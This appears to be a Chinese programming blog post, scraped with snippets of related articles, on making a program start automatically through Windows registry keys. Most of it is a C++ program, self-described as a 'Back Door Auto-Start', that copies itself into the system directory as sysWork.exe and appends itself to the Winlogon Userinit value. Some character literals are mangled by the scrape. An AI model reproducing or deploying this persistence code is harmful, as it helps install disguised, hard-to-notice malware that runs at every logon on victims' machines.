C/C++实现利用添加注册表项实现文件自启动

简介

添加注册表项是实现文件自启动的经典方法之一,但因为操作注册表项是一个敏感操作,被报毒可能性较大,但即便如此,这个方法还是值得一学的,因为后期大部分编程都涉及到注册表操作。

最常使用到的注册表项有两项:

  1. "HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows"“load”键下的键值改为自启动目标文件路径,但缺点在于只能支持一个程序;
  2. "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon"“Userinit”键下的值加上自启动目标文件路径,但是要注意虽然支持多文件自启动,但每个文件路径之间切记要用逗号隔开

C++代码样例

//////////////////////////////////////////////////////////////
//
// FileName : RegAutoRunDemo.cpp
// Creator : PeterZ1997
// Date : 2018-5-1 21:34
// Comment : Add registry key(s) to achieve the Back Door Auto-Start
//
//////////////////////////////////////////////////////////////

#include <cstdio>
#include <iostream>
#include <windows.h>
#include <cstdlib>
#include <cstring>

using namespace std;

const unsigned int MAX_COUNT = 255; /// Max String Length

CHAR szRegInfo[MAX_COUNT] = "\0";

/**
 * @brief Compare two String
 * @param str1 String-1
 * @param str2 String-2
 * @return Boollean Value
 */
BOOL compareTwoString(LPCTSTR str1, LPCSTR str2)
{
    CHAR szTempStr01[MAX_COUNT] = "\0";
    CHAR szTempStr02[MAX_COUNT] = "\0";
    if (strlen(str1) < strlen(str2))
    {
        strcpy_s(szTempStr02, sizeof(szTempStr01), str1);
        strcpy_s(szTempStr01, sizeof(szTempStr02), str2);
    }
    else
    {
        strcpy_s(szTempStr01, sizeof(szTempStr01), str1);
        strcpy_s(szTempStr02, sizeof(szTempStr02), str2);
    }
    for (int i = 0; i < strlen(szTempStr01) - strlen(szTempStr02); i++)
    {
        for (int j = 0; j < strlen(szTempStr02); j++)
        {
            if (*(szTempStr01 + j + i) != *(szTempStr02 + j))
            {
                break;
            }
            if (*(szTempStr01 + j + i) == *(szTempStr02 + j) && j == strlen(szTempStr02) - 1)
            {
                return true;
            }
        }
    }
    return false;
}

/**
 * @brief Add a string key to Registry
 * @param hRoot root key
 * @param szSubKey sub key after the root key
 * @param szValueName key name
 * @param szData key Data
 * @return Boollean Value
 */
BOOL setStringToReg(HKEY hRoot, LPCTSTR szSubKey, LPCTSTR szValueName, LPCTSTR szData)
{
    HKEY hKey;
    LONG lRes = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
    if (lRes != ERROR_SUCCESS)
    {
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return false;
    }
    lRes = RegSetValueEx(hKey, szValueName, 0, REG_SZ, (BYTE*)szData, strlen(szData));
    if (lRes != ERROR_SUCCESS)
    {
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return false;
    }
    RegCloseKey(hKey);
    RegCloseKey(hRoot);
    return true;
}

/**
 * @brief Get key info
 * @param hRoot root key
 * @param szSubKey sub key after the root key
 * @param szValueName key name
 * @return Boollean Value
 */
BOOL getRegInfo(HKEY hRoot, LPCTSTR szSubKey, LPCTSTR szValueName)
{
    HKEY hKey;
    DWORD dwType = REG_SZ;
    DWORD dwLenData = strlen(szRegInfo);
    LONG lRes = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
    if (lRes != ERROR_SUCCESS)
    {
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return false;
    }
    RegQueryValueEx(hKey, szValueName, 0, &dwType, NULL, &dwLenData);
    lRes = RegQueryValueEx(hKey, szValueName, 0, &dwType, (LPBYTE)szRegInfo, &dwLenData);
    if (lRes != ERROR_SUCCESS)
    {
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return false;
    }
    RegCloseKey(hKey);
    RegCloseKey(hRoot);
    return true;
}

/**
* @brief Main Function
*/
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
    CHAR szSystemPath[MAX_COUNT] = "\0";
    CHAR szFilePath[MAX_COUNT] = "\0";
    CHAR szRegValue[MAX_COUNT] = "\0";
    CHAR szTotalString[MAX_COUNT] = "\0";
    if (getRegInfo(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "Userinit")) strcat_s(szRegValue, sizeof(szRegValue), szRegInfo);
    else return 0;
    for (int i = 1;;)
    {
        if (szRegValue[strlen(szRegValue) - i] == ‘ ‘)
        {
            szRegValue[strlen(szRegValue) - i] = ‘\0‘;
        }
        else
        {
            break;
        }
    }
    if (szRegValue[strlen(szRegValue) - 1] != ‘,‘) strcat_s(szRegValue, sizeof(szRegValue), ",");
    strcat_s(szTotalString, sizeof(szTotalString), szRegValue);
    if (!compareTwoString(szTotalString, "C:\\Windows\\SysWOW64\\sysWork.exe"))
    {
        strcat_s(szTotalString, sizeof(szTotalString), "C:\\Windows\\SysWOW64\\");
        strcat_s(szTotalString, sizeof(szTotalString), "sysWork.exe,");
    }
    GetSystemDirectory(szSystemPath, sizeof(szSystemPath));
    strcat_s(szSystemPath, sizeof(szSystemPath), "\\sysWork.exe");
    if (!compareTwoString(szRegValue, szSystemPath))
    {
        strcat_s(szTotalString, sizeof(szTotalString), szSystemPath);
        strcat_s(szTotalString, sizeof(szTotalString), ",");
    }
    GetModuleFileName(NULL, szFilePath, sizeof(szFilePath));
    if (strcmp(szFilePath, szSystemPath) && strcmp(szFilePath, "C:\\Windows\\SysWOW64\\sysWork.exe"))
    {
        if (!CopyFile(szFilePath, szSystemPath, true)) return 0;
        if (!setStringToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "Userinit", szTotalString)) return 0;
    }
    MessageBox(NULL, "HelloWorld", "Tips", MB_OK);
    ExitProcess(0);
    return 0;
}

原文地址:https://www.cnblogs.com/PeterZ1997/p/9531724.html

时间: 2024-08-27 09:30:57

C/C++实现利用添加注册表项实现文件自启动的相关文章

【转】C#程序打包安装部署之添加注册表项

今天为大家整理了一些怎样去做程序安装包的具体文档,这些文档并不能确保每个人在做安装包的时候都能正确去生成和运行,但是这些文档的指导作用对于需要的朋友来说还是很有必要的,在实际产品的安装部署过程中可能有的企业会借助一些现成强大的安装包制作软件进行安装程序的安装,也有的企业或者个人会自己去制作安装包.为了能给予新手一些帮助,现分享这些文档,希望大家能够把这些知识运用在自己的实际工作中. 目前文档主要内容有: 一:创建创建Windows安装项目 二:添加内容文件 三:添加项目输出 四:添加注册表信息

qt 添加本程序的注册表项

QStringcmd;cmd.clear();QStringapplication_path=QCoreApplication::applicationFilePath();//带文件扩展名的全路径application_path.replace("/","\\");QStringregPath="HKEY_CLASSES_ROOT\\software_name\\shell\\open\\command\\";QSettings *progra

用批处理读取特定注册表项的路径值

用批处理命令查询注册表项的命令为 REG QUERY ... 具体的使用信息在命令行窗口中输入 REG QUERY /? 在这里我们需要查询一个具体的key-value,则使用下面的命令 REG QUERY [REG PATH] /v [KEY] 举个例子 reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\110\Tools\ClientSetup" /v "Path" 显示结

注册表项

RegistryKey类在.NET的哪个命名空间中Microsoft.Win32 注册表项是注册表中的基本组织单位,好比是Windows资源管理器中的文件夹.每个具体的注册表项都可以有子项,就像文件夹下可以有子文件夹一样.只要用户具有相应的权限,且注册表项不是基项或基项的下一级项,就可以删除该注册表项.每个注册表项也可带有与其相关联的多个值(一个值就好比是一个文件),它们用于存储信息,例如,有关计算机上安装的应用程序的信息.每个值存储特定的信息,可按需要对其进行检索或更新.例如,可以为您的公司创

EnablePrefetcher注册表项的修改与电脑提速

前些天在图书馆找教材,偶然发现一本windows dos命令应用技巧的书,发现了几个有用的注册表项 EnablePrefetcher这个注册表项是windows用来控制系统预读取数据开放程度的参数,其值范围为0-3,但windows在这方面的默认想比较保守,多数电脑的默认值为2. 所以如果电脑配置还可以的,可以将之修改为3,可以整体提高电脑速度,从开机时间和刷新频率就能看出来~ 具体操作如下: ctrl + R 打开run,输入regedit打开注册表,依次选HKEY_LOCAL_MACHINE

平台从网页登陆需要写入的注册表项

经过测试发现要想通过网页登陆平台需要在注册表HKEY_CLASSES_ROOT中写入下图所示注册表项: 原文地址:http://bbs.delit.cn/thread-818-1-1.html 转载请注明出处: 撰写人:度量科技http://www.delit.cn

WPF 设置程序开机自动运行(+注册表项)

#region 设置程序开机自动运行(+注册表项) RegistryKey rgkRun = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); if (rgkRun == null) { rgkRun = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\Cur

[转] “无法注册程序集***dll- 拒绝访问。请确保您正在以管理员身份运行应用程序。对注册表项”***“的访问被拒绝

原文 Win8下Visual Studio编译报“无法注册程序集***dll- 拒绝访问.请确保您正在以管理员身份运行应用程序.对注册表项”***“的访问被拒绝.”问题修正 原来在Win7下Visual Studio跑的好好的程序,现在在Win8下编译报“无法注册程序集***dll- 拒绝访问.请确保您正在以管理员身份运行应用程序.对注册表项”***“的访问被拒绝.”的错误.报错信息明面上看是让你用管理员身份运行Visual Studio,然后打开工程编译就好了.但总觉得这种方法不如直接双击“s

windows 10、8.1、7 用户自动登陆,避免输入密码登陆的注册表项:

用这几个系统的人,往往有时候需要输入密码登陆系统,如果不想用密码就需用命令行解决这个问题,今天没事儿,研究了一下,写出了一个能自动登陆系统不必输入密码的注册表项,抛弃netplwiz命令: Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]"DefaultUserName"="My pc""